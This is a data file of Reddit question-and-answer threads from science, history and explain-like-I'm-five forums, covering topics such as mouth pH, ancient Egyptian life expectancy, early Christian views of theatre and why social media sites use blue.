{"q_id": "1qt5q9", "title": "An acidic mouth is bad for your teeth. What if we let our mouths become more basic?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qt5q9/an_acidic_mouth_is_bad_for_your_teeth_what_if_we/", "answers": {"a_id": ["cdgaiat", "cdgbdyy", "cdgcnzx"], "score": [9, 7, 102], "text": ["I know from popular culture a well known folk tooth protector is baking soda, based on this reasoning.\n\n_URL_0_\n\nBut alkaline substances can damage your teeth too.\n\nI'd definitely appreciate a scientific perspective on the effects of more mildly alkaline substances.", "Too alkaline is no good for your oral environment either. Like many things in human physiology, optimal tends to be at some point of homeostasis. And in the case of the mouth a narrow range of pH. When you change the pH in either direction outside this range, you run the risk of caries or rampant growth of oral fauna. There may be other conditions whose growth could be altered by a change in pH (fungal diseases like thrush, and hundreds more\u2026 btw, no idea how pH affects thrush, I just pulled its name out of the air). I'm not sure which pathologies would be affected by having too basic of a mouth, but I'm confident that a dentist here could name some. \n\nAs for baking soda, I suspect that the grit of the paste is as beneficial (as a mechanical remover) as it is a basic solution/chemical \"protectant\". ", "Too acidic - demineralization of the enamel which results in cavities\n\nToo alkaline - mineralization of the bacterial plaque's matrix resulting accumulation of tartar which irritates the gingiva. \n\nThe pH of your mouth has to be just about right, not too acidic, not too alkaline, but somewhere around 7. That's not always possible given our diets and not brushing or flossing after a more acidic meal or using chewing gum. \n\nBrushing your teeth with baking soda is terrible for the enamel (I have seen people do this), it could be used as a mouthwash (the ratio is 1/2 teaspoon dissolved in 200ml of lukewarm water) to buffer the acidity. \n\nThe direction we should be heading towards is not making our mouths more alkaline but rather reducing the acidity so the pH doesn't drop below 5.5 which is the critical pH of enamel demineralization. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedaily.com/releases/2009/10/091027132424.htm"], [], []]}
{"q_id": "7buyqx", "title": "If the life expectancy in ancient Egypt was so low, does that mean the society was effectively run by \"teenagers\"?", "selftext": "If I were to hop into the TARDIS and travel back to ancient Egypt, would I find that the soldiers, military officers, scribes, and priests all somewhere between the ages of 13-19? I don't necessarily mean that ancient Egyptians were \"teenagers\" (esp. given the contextually relative nature of that term), since obviously they would be working, but in terms of their physical appearances? Or perhaps they would physically age quicker because of having worked outdoors?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7buyqx/if_the_life_expectancy_in_ancient_egypt_was_so/", "answers": {"a_id": ["dpl23b1"], "score": [19], "text": ["Hi, I'll leave it for someone else to talk about demographics and maturity/behaviour in ancient Egypt specifically, but there may be some confusion about the meaning of the term \"life expectancy\", specifically \"life expectancy *at birth*\". \n\nHere's a comment from /u/anthropology_nerd explaining life tables [What was the ACTUAL average lifespan before modern medicine?](_URL_1_),\n\n... and here's a thread that links to a collection of posts discussing life expectancy in various cultures throughout history (not ancient Egypt, but you'll get the idea) [How true is it that average human age was skewed by high infant mortality rates hundreds of years ago?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/33yzm0/how_true_is_it_that_average_human_age_was_skewed/", "https://www.reddit.com/r/AskHistorians/comments/3feiyb/what_was_the_actual_average_lifespan_before/"]]}
{"q_id": "1sen5s", "title": "When reptiles and amphibians get an infection, can they develop a fever?", "selftext": "I understand that unlike mammals and birds, reptiles are ectotherms and don't regulate their body temperature internally. A common response in endotherms to infection is to run a temperature via internal thermoregulation, which may (?) have some utility in terms of overcoming the infection. So I was wondering if there was an analogous process in reptiles.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1sen5s/when_reptiles_and_amphibians_get_an_infection_can/", "answers": {"a_id": ["cdwy78n"], "score": [4], "text": ["They cannot. The only instance I am aware of where a reptile/amphibian is able to create its own body heat is in female pythons guarding a clutch of eggs. They shiver to create body heat in order to incubate the eggs. \n\nThey can however seek out a warmer environment. My experience is with captive reptiles, so I am unsure if they do this in the wild. But we certainly will provide slightly warmer than usual environments to animals with some illnesses, like URIs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "g1g1zq", "title": "how is energy represented in biological processes?", "selftext": "I know energy is a very abstract concept to try to represent in science. However I was wondering if there were some representations in the way energy works in biology. For instance, in cellular respiration, ATP breaks and releases energy. How could this be represented or interpreted? Should you think of it as a \"pulse\" or electric thingy that suddenly flows through the body? Or does it go directly to the brain? It's just really hard to picture what energy actually is.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/g1g1zq/eli5_how_is_energy_represented_in_biological/", "answers": {"a_id": ["fnfjpx7"], "score": [3], "text": ["Let\u2019s consider an analogy where ATP is a diving board. ATP stands for adenine TRI phosphate. So I will represent it as A-P-P-P. \n\nImagine you\u2019re on a diving board that\u2019s 10 ft long. You jump maybe 3 times, building up energy, then finally spring forward. You get up pretty dang high! \n\nLet\u2019s say now you move to smaller diving board that\u2019s 7ft long, jump 3 times, and spring forward. Notice what happened? You weren\u2019t able to build up as much energy even though you jumped the same amount. \n\nFinally, you move to a small diving board of only 4 ft. It\u2019s really difficult to even build up height, and your spring forward is quite small after 3 jumps. \n\nImagine A-P-P-P is the longest diving board, and each time you lose a phosphate group you\u2019re shortening your diving board. While your cells don\u2019t get the \u201cspring forward\u201d (kinetic energy in my example), they do get chemical energy from the conversion of A-P-P-P to A-P-P to do cellular things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c2ttbv", "title": "what is electricity and why does it defy gravity?", "selftext": "Yesterday i started wondering, what is electricity on a material level? It's not an element nor a molecule, right?\n\nAnd how can it defy gravity? Why does a power cord that goes upwards still work?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c2ttbv/eli5_what_is_electricity_and_why_does_it_defy/", "answers": {"a_id": ["ermhcba", "ermk2zg", "ermwfv8"], "score": [18, 10, 3], "text": ["Simply put.\n\nElectricity is moving electrons. \n\nWhy do they move? You create an area of positive charge or negative charge. Electrons will then flow from charge to no charge because there is a potential difference between the two and electricity wants to be 0, it doesn\u2019t want to exist. \n\nIt doesn\u2019t exactly defy gravity, the electromagnetic force is just way way stronger than gravity and exists on a much much smaller scale. For all intents and purposes, gravity is irrelevant to electromagnetism.", "To explicitly explain why gravity doesn\u2019t matter to electrons: the electromagnetic force acting on an electron is on the order of 10^(-19) Newtons \u2014 an electron\u2019s charge is around 1.6\\*10^(-19) coulombs, and the force is directly proportional to the charge, but the gravitational force is on the order of 10^(-31) Newtons \u2014 an electron\u2019s mass is around 9.1\\*10^(-31) kilograms, and the force is, again, directly proportional to mass. Even if we round down and up to the nearest power of ten respectively, there\u2019s still a difference of 11 orders of magnitude between the forces. The electromagnetic force overpowers the gravitational force with ridiculous ease.\n\nTo put things into perspective:\n\nWe can estimate Earth\u2019s mass M1 to be 10^24 kg, distance between Earth\u2019s surface and center of mass R1 to be 6\\*10^3 km, Jupiter\u2019s mass M2 to be 10^27, distance between Earth\u2019s surface and center of Jupiter\u2019s mass R2 to be 6\\*10^8 (600 million) km.\n\nThe gravitational force between two objects with masses m1 kg and m2 kg r meters apart is given by the formula F = G\\*m1\\*m2/r^2, where G is the gravitational constant. If F2 is Jupiter\u2019s gravitational pull on you and F1 is Earth\u2019s gravitational pull on you, then their ratio F2/F1 is equal to M2\\*R1^(2)/(M1\\*R2^(2)), or 10^(-7).\n\nIn other words, Jupiter\u2019s pull towards you is 10000000 times smaller than Earth\u2019s, and this is still 10000 times more than the ratio of the electromagnetic and the gravitational force acting on an electron.", "Your question is simple, but there are no answers which comprehensively answer it, that are not by their definition both complete and simple.\n\n That being said, the simplest way of saying it would be that gravity is weak, and it acts on bodies relative to their mass. Electrons are both small in volume, but also in mass, so gravity does not act on them in the same way as it does larger things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "y6r8k", "title": "Why does the Curiosity Rover have such a poor computer/limited data storage?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/y6r8k/why_does_the_curiosity_rover_have_such_a_poor/", "answers": {"a_id": ["c5stu81", "c5su18v", "c5sv14r", "c5sw0cp"], "score": [6, 8, 38, 2], "text": ["You think it's as easy as going down the store and buying a new HDD? These are very special radiation-hardened components that need to work flawlessly for at least two years in extremely harsh environments.\n\nAny changes during the construction of the rover would have to get approved through a lot of bureaucracy before it can be even bought, tested, developed and adapted to the design. Since the launch windows are so narrow, you can't waste time deviating like that.\n\nTechnology will always improve, you have to settle with something, and that something has to be reliable. This was it.", "More memory doesn't magically make the computer 'better' at doing the narrow set of tasks it has in front of it. You want reliability above all else in this case, so a well tested and well understood system is far better than a fast one. ", "There's a few reasons for limitations on the computing technology that goes into space.\n\nFor starters, various things need to be custom built. A store bought hdd won't work in a vacuum (or when weightless) for a few reasons, and you wouldn't trust something off a best buy shelf to survive the possibly bumpy ride and landing. SSDs, like all solid-state transistor technology that goes into space, has to be radiation-hardened, to prevent components from being destroyed (or states flipped) from particle or cosmic ray strikes. This problem is exacerbated with higher density devices, as it becomes more likely something will get hit when the spacing is closer.\n\nAnd then there's more pragmatic concerns. Power consumption is a big one. The whole rover runs on not much more than a few hundred watts. People have desktops with bigger power demands then the entire rover. So is simplicity. When you make a $2.5 billion dollar space faring robot your harddrive **can. not. break.** You don't want anything more complicated than it absolutely has to be.\n\nSo you're not going to go with the newest piece of tech, you're going to go with something that's tried and tested. And you'll want to run your own tests on the entire system well before you launch it. So it certainly won't be state of the art by home consumer standards as of now, when it finally arrives.\n\n", "Because each piece of hardware was specially designed. There is no radiation hardened i7 or a 1TB hard disks that would survive being thrown onto the Martian landscape. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4exd47", "title": "how does suing a government work? aren't courts run by the government?'", "selftext": "Title", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4exd47/eli5_how_does_suing_a_government_work_arent/", "answers": {"a_id": ["d244a58", "d244vpk"], "score": [3, 11], "text": ["I can't speak for other countries, but in the United States, (at least on paper) the government is not above the law, and the courts are (again, at least on paper) neutral. If the government is doing something that you feel is unconstitutional and you can find a lawyer and a court that feels your case has enough merit, you can sue a department or an individual. ", "These answers are incomplete. Government entities in the US have a principle called [sovereign immunity](_URL_0_) which prevents them from lawsuits unless the legislature allows them to be sued. For example, the federal government allows some lawsuits under the [Federal Tort Claims Act](_URL_1_) or for violations of the 14th Amendment's Equal Protection clause (Loving v. Virginia being an example.)\n\nSo the default answer is, No, you cannot sue your government unless they let you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Sovereign_immunity_in_the_United_States", "https://en.wikipedia.org/wiki/Federal_Tort_Claims_Act"]]}
{"q_id": "93rzka", "title": "Which were the views of early Christians on ancient Greek theatre?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/93rzka/which_were_the_views_of_early_christians_on/", "answers": {"a_id": ["e41cjzx"], "score": [6], "text": ["One of the best early Christian perspectives on theatre comes from Augustine of Hippo (354-430 CE); especially in his *Confessions* and *The City of God*. Though Augustine was writing from the later years of Roman Imperial power/influence, he takes on criticism of theatrical entertainments that were popular throughout the Roman world. Furthermore, the Roman/Latin Theatre of his day was still very much an 'inheritor' of the Greek Theatre, borrowing heavily from the form and aims of Greek tragedy and comedy. So, to answer your excellent question, I will consider Latin dramas and the Roman Theatre of the late Imperial period as a \"descendant\" of the Greek theatrical tradition. Indeed, many theatre historians and works on theatre history consider the Greek and Roman periods back-to-back as if they were both operating from a largely unbroken literary and performative tradition (see the authoritative textbook on theatre history: *History of the Theatre*, Brockett  &  Hildy).\n\nAugustine of Hippo was an incredibly influential writer/thinker/theologian in the early history of Christianity and provided significant intellectual influence on the early structural development of the Roman Christian Church in the latter years of the Roman Empire. His ideas and writings survived well into the European Middle Ages, even serving as a significant source for the early medieval scholar and writer, Isidore of Seville. But, in his own day, Augustine provides one of the best educated perspectives on early theatre that has survived to our time. For example, in Book III of *Confessions* ([_URL_2_](_URL_2_)) he explains: \"Stage-plays also carried me away, full of images of my miseries, and of fuel to my fire. Why is it, that man desires to be made sad, beholding doleful and tragical things, which yet himself would no means suffer? yet he desires as a spectator to feel sorrow at them, and this very sorrow is his pleasure. What is this but a miserable madness? for a man is the more affected with these actions, the less free he is from such affections. Howsoever, when he suffers in his own person, it uses to be styled misery: when he compassionates others, then it is mercy. But what sort of compassion is this for feigned and scenical passions? for the auditor is not called on to relieve, but only to grieve: and he applauds the actor of these fictions the more, the more he grieves. And if the calamities of those persons (whether of old times, or mere fiction) be so acted, that the spectator is not moved to  > tears, he goes away disgusted and criticising; but if he be moved to passion, he stays intent, and weeps for joy.\"\n\nAugustine is clearly taking an Aristotelian understanding of theatre--in which Aristotle explains that theatre (namely tragedy) serves as a purgation of emotion, experienced through what he calls 'catharsis' (\u03ba\u03ac\u03b8\u03b1\u03c1\u03c3\u03b9\u03c2). But Augustine essentially questions the purpose of theatre and why a person would be (and, indeed, why he was) drawn to such entertainments? What is it about man's nature that brings him to such representations and audiences to the desire to watch these representations--especially if, after all, they are but false and fleeting shows of those things that are or may have been a reality. For Augustine, the theatre serves to engage human emotion in a weak attempt to capture that which the soul truly seeks: connection to that which can change the soul for a greater, more eternal purpose than the pagan-based, and ultimately false, stories of Greek and Latin tragedy. In \"The City of God ([_URL_4_](_URL_4_)), Augustine takes his criticism of Roman Theatre a step further: using it as an example of civic activity dedicated to false (or empty) gods that corrupt a populace rather than uphold a connection to that which binds all of humanity: the soul's longing for the Truth of God. This is largely influenced by a popular belief that, after the sack of Rome by the Visigoths in 410 CE, the adoption of Christianity had led to Rome's inability to support its populace and protect the city from hostile foreign forces. Augustine uses Rome's own history--wherein theatres were largely banned in the city by influential leaders and politicians--to explain that even that Rome had, over time, had given itself more to the desires of the flesh (a City of Man) as opposed to the desires of the soul (the City of God). Ausgustine writes in *City of God* I.32: \"And in this pestilence these gods find great enjoyment, because it benighted the minds of men with so gross a darkness, and dishonoured them with so foul a deformity, that even quite recently (will posterity be able to credit it?) some of those who fled from the sack of Rome and found refuge in Carthage, were so infected with this disease, that day after day they seemed to contend with one another who should most madly run after the actors in the theatres.\"\n\nSo, to summarize, Augustine wasn't necessarily writing a polemic against Roman Theatre, nor was he saying that theatre was inherently bad. But theatre, for him, was a weak attempt at reaching for the kind of emotional and cathartic needs of the soul that could only be found in the worship of the Christian God. Essentially, Rome showed itself happy to stop at merely entertaining shows that supported its own gods/desires/needs, while those that could put aside the attending the theatre in favor of attending church were seeking the City of God (i.e. a more eternal and fulfilling purpose) rather than the City of Man.\n\nAside from Augustine, there is another source that serves as a perspective on theatre of Roman world, but in a much more polemical way:  John Chrysostom (c. 349-407 CE), Archbishop of Constantinople. Chrysostom was a contemporary of Augustine, but was living and operating from a different geographical and theological perspective. As the Archbishop of Constantinople, Chrysostom was closer (geographically and linguistically) to the center of Greek Theatre (Athens) and, in his sermons, was clearly familiar with the theatrical practices of the eastern Mediterranean. In fact, he rails against the base, highly sexual, and degrading spectacles of theatre in his area in his homily, \"Against the Circuses and the Theatre\" ([_URL_5_](_URL_3_)). In this homily, Chrysostom analogizes the theatre as a prostitute, drawing on the metaphor of the Church as a bridegroom to Christ, that corrupts and destroys the relationship between the lover and the loved. In his assessment of the theatre--which is far more polemical than Augustine--it is a destructive activity with no cultural or social value for Christians that seek a true relationship with God. He goes so far as to say: \"Therefore I make this proclamation, in a clear and loud voice, that if anyone after this exhortation and teaching deserts back to the unlawful disgrace of the theatre, I shall not receive him within these precincts, I will not let him share in the sacraments, I will not let him touch the sacred table. Just as shepherds separate the sheep that are afflicted by mange from the healthy sheep, so as to prevent the rest from catching the disease, so I shall act in the same way.\"\n\nBut, for historians, Chrysostom serves as an excellent source of early theatrical entertainments. He describes a \"water ballet\" that took place at Antioch, in which nude women were involved in some sort of performance involving a flooded theatre. Indeed, \\[archaeological excavations of theatres in modern-day Syria\\] ([_URL_0_](_URL_1_)) and other parts of the Eastern Mediterranean world show that many had plumbing systems capable of bringing water into the theatre. What they performed and why is still a mystery, but Chrysostom's polemics help us construct an idea of the kinds of theatrical entertainments that were popular in different parts of the Roman world.\n\nOverall, I think it's easy to say that the early Christian perspectives on theatre were not overly positive--though, that's not to suggest that Christians didn't attend the theatre. Rather, we should explain that theatre was a part of the social and cultural fabrics of the places in which it was practiced--as were Christians that lived alongside these theatrical entertainments. In many ways, the Christian populations of the Roman world took differing perspectives on the importance and influence of theatre in the early part of Christianity's public appearance within in the Roman world.\n\nMore information: *Theatrical Shows and Ascetic Lives: John Chrysostom's Attack on Spiritual Marriage* by Blake Leyerle (2001)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Roman\\_Theatre\\_at\\_Apamea", "https://en.wikipedia.org/wiki/Roman_Theatre_at_Apamea", "https://www.gutenberg.org/files/3296/3296-h/3296-h.htm", "http://www.tertullian.org/fathers/chrysostom_against_theatres_and_circuses.htm", "https://www.gutenberg.org/files/45304/45304-h/45304-h.htm", "http://www.tertullian.org/fathers/chrysostom\\_against\\_theatres\\_and\\_circuses.htm"]]}
{"q_id": "4myn2q", "title": "On a rotating object, such as a ceiling fan, does the outermost tip of the fan blade move at a faster velocity than the point that's closest to the center since it has a larger circumference to travel?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4myn2q/on_a_rotating_object_such_as_a_ceiling_fan_does/", "answers": {"a_id": ["d3zdjrl", "d3zjnxs"], "score": [11, 4], "text": ["Yes it does.  Each part of the blade travels around in a circle.  Because the outer tip of the blade has a larger circle with more circumference to cover in each rotation, it therefore has more linear distance to cover per rotation than part of the blade closer to the hub, which has a smaller circle.  \n\nOne example of this principle at work is the [big ass fan](_URL_0_) (that's the actual name of the company).  The fan is 8' in diameter, and you can see it's not rotating very fast, but let me tell you that thing MOVES A LOT OF AIR, mainly because even at a low RPM, the outer tips of the blades are moving through the air at similar speed to a normal small fan on high speed because they have a very very large circle to cover each rotation.", "Worth noting, one of the major limitations on high speed propeller planes is caused by this effect. The outer tips of the prop blades will break the sound barrier, but the inner sections of the blades won't.\n\nIf they're not designed for it, the shockwave in the middle of the blade causes enough stress to damage the blades, plus the loss in efficiency due to subsonic vs supersonic air flow characteristics being very different. That's why the propellers built to run this fast have a swept back tip on them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=838yxkBua7A#t=25s"], []]}
{"q_id": "36s3op", "title": "why does indestructible mean not destructible and invulnerable mean not vulnerable, but invaluable mean very valuable?", "selftext": "Makes a lot of sense now. thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36s3op/eli5_why_does_indestructible_mean_not/", "answers": {"a_id": ["crgkhtf", "crgki3y", "crgkl9a", "crgklgv", "crglptn", "crglycw", "crgqjob", "crgwzy8", "crh1ymb"], "score": [6, 18, 299, 7, 10, 2, 7, 2, 5], "text": ["The 'in' in invaluable has the same meaning, so 'without value' ... however it's meaning is comparable to 'priceless'. It means to say that it you cannot put a value on it.\n\nHere's the etymology of it:\n\n1570s, \"above value,\" from in- (1) \"not\" + value (v.) \"estimate the worth of\" + -able.", "To the best of my knowledge, invaluable means closer to priceless, i.e. you can't put a value on it because it's so important.", "Indestructible means it cannot be destroyed.\n\nVulnerable comes from the Latin word \"vulnus\" which means \"wound\". So something invulnerable cannot be wounded.\n\nSomething that is invaluable cannot be valued, i.e. you cannot set a price on it. So invaluable literally means \"priceless\": there is no amount of money that is equal to the worth of the thing.", "The pre-fix \"in\" roughly means \"cannot be\".\n\nSo...\n\n- Indestructible means \"cannot be-destroyed\"\n\n- Invulnerable means \"cannot be-harmed\"\n\nWhich brings us to invaluable which means \"cannot be-valued\".  In other words its so valuable that it's value is not calculable.  Of course you could argue that something that cannot be valued must therefore be worthless (ie value-less)... but that's not the common use.", "Inflammable is the one that gets me. It means pretty much the same as flammable, and mis-interpreting *inflammable* could lead to a safety issue.", "Invaluable means \"cannot place a value on\", and refers to things like your health or your wedding photos, whose importance can't be measured with money.\n\nIt is sometimes used in a hyperbolic sense to describe things of very high value.", "indestructible - incapable of being destructed  \ninvulnerable - incapable of being wounded  \ninvaluable - incapable of being valued  ", "Cannot be destroyed, it's beyond destruction. Cannot be vulnerable, it's beyond vulnerability. Cannot be valued, it's beyond valuation.", "Simply, valuable has two meanings - 'has high value' and a more basic 'value-able', able to be valued.\n\nThe only place we use the second meaning is in the word, 'invaluable', in-value-able, not able to be valued (because of high worth or irreplaceability."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "1p1jar", "title": "If our solar system had a captured planet....", "selftext": "would we be able to determine that from its composition? Possibly by sending a probe for a sample?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1p1jar/if_our_solar_system_had_a_captured_planet/", "answers": {"a_id": ["ccyk8c4"], "score": [3], "text": ["If our solar system managed to gravitationally capture a stray planet, these three things would be likely to occur. \n\nThe planet would be on a different orbital plane from the rest of the planets. \n\nIts orbit would be highly eccentric. \n\nThe orbit of the planet adjacent to it would be skewed slightly as a third body is generally needed for a gravitational capture of a stray object. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5jotwn", "title": "Are single-biome worlds possible?", "selftext": "Science fiction often presents worlds that have only one biome or are dominated by a particular biome (the forest moon of Endor and Hoth from Star Wars or Arrakis from Dune come to mind). Could we ever find real planets/moons like that?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5jotwn/are_singlebiome_worlds_possible/", "answers": {"a_id": ["dbi8aaw", "dbi8fut"], "score": [9, 2], "text": ["Keeping in mind the examples you provide are not only hypothetical, they are also superficially presented in the source material [there could be *dozens* of unseen and subtle biomes on Hoth we've never been told about - And Arrakis does have more than one biome, if I recall], the closest example of what you seek I could suggest would be ice-moons.\n\nSubject to our ignorance at never having witnessed any life there, which sort of makes the question moot for the time being, our current understanding of the *possibility* of life there is that it would cluster tightly around tide-driven hydrothermal vents on the seafloor. Such vents are known on Earth [although ours are not tidally-driven], where they are described as oases of life on the otherwise mostly barren ocean floor. In the absence of sunlight, the entire foodchain and energy source of the ecosystem is chemautotrophic reactions from the compounds and minerals in the hot acidic brines produced there.\n\nIf that model holds on ice-moons, you could expect a mostly barrren low productivity ocean, with local rainforest-like oases dotting the ocean floor where hydrothermal activity is concentrated.", "Well, Dune had different regions, but I get your point.\n\nI think it would require two things. One, no seasons as a result of a stable orbit and axis at 90% to the sun. Two, good circulation between latitudes so that equator and poles have shared weather. I bet a planet big enough to maintain a thick atmosphere wouldn't do that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3sge2a", "title": "why are the offspring of domestic cats called kittens  &  the offspring of wild cats such as lions and tigers called cubs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sge2a/eli5why_are_the_offspring_of_domestic_cats_called/", "answers": {"a_id": ["cwx152j", "cwx2quc", "cwx5sdq"], "score": [10, 3, 2], "text": ["I believe it has to do with the fact that house cats are domesticated. Looked it up and kitten indeed comes from a diminutive form of cat. \"Chitoun\" a diminutive of \"Chat\" in French. Because domesticated cats have been with us much more familiarly, we have given their offspring pet-names, as it were.\n\nI don't know where cub comes from, but I imagine we might eventually call bear offspring pups/puppies if we ever keep them as pets.", "I believe it has mostly to do with size. Large cats' young are indeed called cubs but small cats in the wild like Ocelots, Lynx, or Bobcats have young that are usually referred to as kittens the same as the typical housecat.", "Is it just me that refers to juvenille cats as catlets?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "11xdls", "title": "Are there any historical errors in Boardwalk Empire that you can spot?", "selftext": "As a history major, albeit one not too keen on 1920's America, everything looks good to me. Just wondering if there is anything about the series that stands out as blatantly inaccurate.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11xdls/are_there_any_historical_errors_in_boardwalk/", "answers": {"a_id": ["c6qhnkf"], "score": [2], "text": ["Both its depiction of the end of the Anglo-Irish War and the use of Thompson SMG's are early, in fact.\n\nThe Anglo-Irish truce was signed in summer 1921 and the Anglo-Irish treaty which ended the Anglo-Irish was was signed in December 1921, leading up to the Irish Civil War in 1922.\n\nRegarding the Thompson, I wrote this regarding an episode in season 2:\n\nThe Thompson submachine gun on display during the episode is the M1921AC model, with the Cutts compensator. This is the incorrect model for the Anglo-Irish war where they only used (and smuggled) the M1921 model. However, opposed to what was shown in the episode, it was actually used in the Anglo-Irish war since it became available through two ex-Army officers from the American army earlier the same year. The American army did not field the Thompson however, as incorrectly shown in the previous episode, and did not do so until World War II when the M1928 model was used before being replaced by the M1 Thompson. The first armed forces branch to get their hands on it was in fact the Marine Corps that used it to guard postal trucks(!) that suffered a great deal of robberies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4crrep", "title": "why is all social media blue?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4crrep/eli5_why_is_all_social_media_blue/", "answers": {"a_id": ["d1l5zz8", "d1kvdwq", "d1kwvw1", "d1kxfe9", "d1l0ldz", "d1l26ec", "d1l2uq7", "d1l3e17", "d1l3yup", "d1l49rw"], "score": [44, 5, 82, 358, 9, 35, 2, 3, 127, 18], "text": ["This is one of the few ELI5 I actually know the answer to as an IT student interested in web design/development.\n\nYou're right, it isn't a coincidence. There's a reason. Take a look at [Colour Physchology](_URL_1_). Each colour triggers a certain part of the brain which associates that colour with something. Colour are **hugely** considered when companies are branding themselves. Red and yellow (like [/u/Scottydukes1 mentioned here](_URL_0_)) are associated with feelings that make you anxious, warmth, stimulation, and - most importantly - hunger. The reason being is that McDonalds is fast food so they would use colours like this to emphasize that.\n\nBlue is used most often in social media because it represents **communication** and **calm/trust**. Sites like Facebook use this colour well to encourage communication with friends and make you feel at home on their site.\n\nHealthy food might use yellow or green on their products to emphasize it's healthiness. Colour psychology is also the reason why white is associated with purity, and such why traditionally the bride wears a white dress at the wedding (white is associated with purity) and the male wears a black tuxedo (black is associated with sophistication and success).\n\nTinder (as another example) uses the colour red because it's such a fast app to use (red is associated with aggression and excitement) because you're either swiping left and right. There's not that much thought you put into it and will often do it quickly if you like the person you're seeing. You could even speculate that the failure behind Google Plus is because of their failed attempt at marketing/branding it with the red colour scheme (there are other reasons too of course but that's a different kettle of fish).\n\nI hope that's the answer you're looking for. Sorry if there are mistakes, I'm typing super fast and not checking.", "I heard it was something to do with the colour blue (and other cool colours) helps keep people awake - where as reds (and warm colours) make people a little bit mored tired. ", "Follow up question: which was the first successful social media that used blue as its colour trademark?", "In addition to it being an \"awake\" color, it also is high contrast and can still be seen by most colorblind people, since red/green is the most common type.", "Well I think Facebook is blue because Mark Zuckerberg is colorbind or something and can simply see blue better. My theory for the rest of them being blue has to do with color theory. The flow of information like water.", "Blue is a safe color. It's the least political. Green can suggest illness, or be associated with marijuana, veganism, or the green movement. Red can mean romance or violence. Orange/Yellow are often used for warnings or caution. If your goal is to be as attractive as possible to the masses, always go with the friendliest shade of blue that you can.", "instagram is blue because facebook bought it. also, blue is easy on the eyes. green can be jarring, yellow and red are painful..etc", "Blue is just an extremely placid, fairly neutral and non-threatening colour. \n\nIf I were to make a website which I wanted people to feel had no agenda and was trustworthy I would make it blue and white. \n\nBlue is not a power colour like those often used by companies trying to sell you something. It makes the site (and by extension the company behind the site) feel passive and you the user the active party. Which is exactly what you want for a social media site. \n\nAlso there's the non-alienating nature of blue. It's not going to put any demographic off. Young or old, counterculture or mainstream, no one is going to be offended by blue. \n\nIt's a friendly colour, contrast this with video sites, which use red to imply action, excitement and entertainment (and the recording light I guess). ", "Eh. [Here](_URL_0_) is an image I made showing where some social networks fall in the color spectrum.\n\nIt really just seems like apps don't want to be pink or lime green. There are lots of \"blue\" apps because there is lots of blue to work with, and blue is generally an aesthetically pleasing color.\n\nBut there are plenty of non-blue social networking sites.", "The psychology behind the colour blue states that people find it trustworthy, neutral and calming. Since popular social media sites want to appeal to as many demographics as possible, they use a neutral (neither male nor female) widely accepted colour."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/explainlikeimfive/comments/4crrep/eli5_why_is_all_social_media_blue/d1l55zc", "http://www.colour-affects.co.uk/psychological-properties-of-colours"], [], [], [], [], [], [], [], ["http://imgur.com/XnTLxK6"], []]}
{"q_id": "3w6f4e", "title": "Do larger people require more sleep than smaller people?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3w6f4e/do_larger_people_require_more_sleep_than_smaller/", "answers": {"a_id": ["cxtythe"], "score": [16], "text": ["Short sleep duration is associated with just about every obesity measure you can name (BMI, bodyfat%, leptin/ghrelin levels, etc).  \n  \nCause and effect are, at this point, strongly favoring that people who CHOOSE to get less sleep cause physiological consequences that make them gain weight. However, I wouldn't completely rule out other hypotheses at this point.   \n  \n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2398753/"]]}
